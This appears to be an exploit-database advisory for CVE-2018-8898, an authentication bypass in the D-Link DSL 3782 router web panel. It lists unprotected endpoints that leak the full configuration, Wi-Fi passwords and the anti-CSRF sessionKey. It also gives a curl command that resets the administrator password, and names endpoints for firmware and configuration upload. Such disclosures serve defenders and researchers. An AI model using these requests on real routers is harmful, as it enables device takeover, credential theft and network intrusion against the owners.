- #AUTH BYPASS.
- # Version: A1_WI_20170303 || SWVer="V100R001B012" FWVer="22.214.171.124" FirmVer="TT_77616E6771696F6E67"
- # Category: Webapps
- # CVE : CVE-2018-8898
- # Date: 20/05/2018
- # Description
- # The web panel of D-Link DSL 3782 version (A1_WI_20170303) does not release a token ID (e.g. a session cookie) that identifies the logged in administrator, but only relies # on a server-side timeout that lasts few minutes.
- # In addition, a server-side mitigation in place prompts for login credentials everytime the webroot is loaded, but does leave the application endpoints unprotected # and affected by this authentication bypass.
- # Therefore, after a valid login of the administrator the web panel does not distinguish valid HTTP requests from the admin and the ones that come from other users.
- # This way, an attacker can script an automatic routine that perform unwanted actions such as arbitrary modifications to router and SSIDs passwords and configurations.
- # Some of the possible actions for retrieving important information
- # GET http://192.168.1.1/romfile.cfg ---> retrieve the complete settings of the router (all credentials included)
- # GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_24.asp ---> retrieve the password for SSID of 2.4Ghz
- # GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_5.asp ---> retrieve the password for SSID of 5.0Ghz
- # GET http://192.168.1.1/cgi-bin/New_GUI/GuestZone.asp ---> retrieve the password for Guest network, if present
- # For POST requests that makes changes to passwords, SSIDs name and configurations, a 'sessionKey' value is used by the web application to prevent Cross-site request forgery (CSRF) attacks.
- # However, this value can be retrieved with this Authentication Bypass issue with the following GET request:
- # 'GET http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp'
- # For example, the below POST request allows to change the Web Interface Administrator's password:
- curl --data "Password=[NEW_PASSWORD_SET_BY_THE_ATTACKER]" \
- --data "sessionKey=$(curl -sS http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp)" \
- # Some other possible actions for altering the configurations:
- # POST http://192.168.1.1/cgi-bin/New_GUI/WiFi_loding.asp ---> change passwords of the SSIDs
- # POST http://192.168.1.1/cgi-bin/New_GUI/Set/firmware_upgrade.asp ---> upgrade firmware
- # POST http://192.168.1.1/cgi-bin/New_GUI/Set/reboot_wait.asp ---> reboot router
- # POST /cgi-bin/New_GUI/Set/config_upgrade.asp ---> upload a new configuration file ('romfile.cfg')
- # Note 1: Since the router misses a network segretation, a user that has access to the Guest network could also perform this attack.
- # Note 2: Web panels exposed to the Internet allows anonymous attacker to leverage this vulnerability and possibly takeover the router.
- # Note 3: Others forks of the firmware and software versions have not been tested.
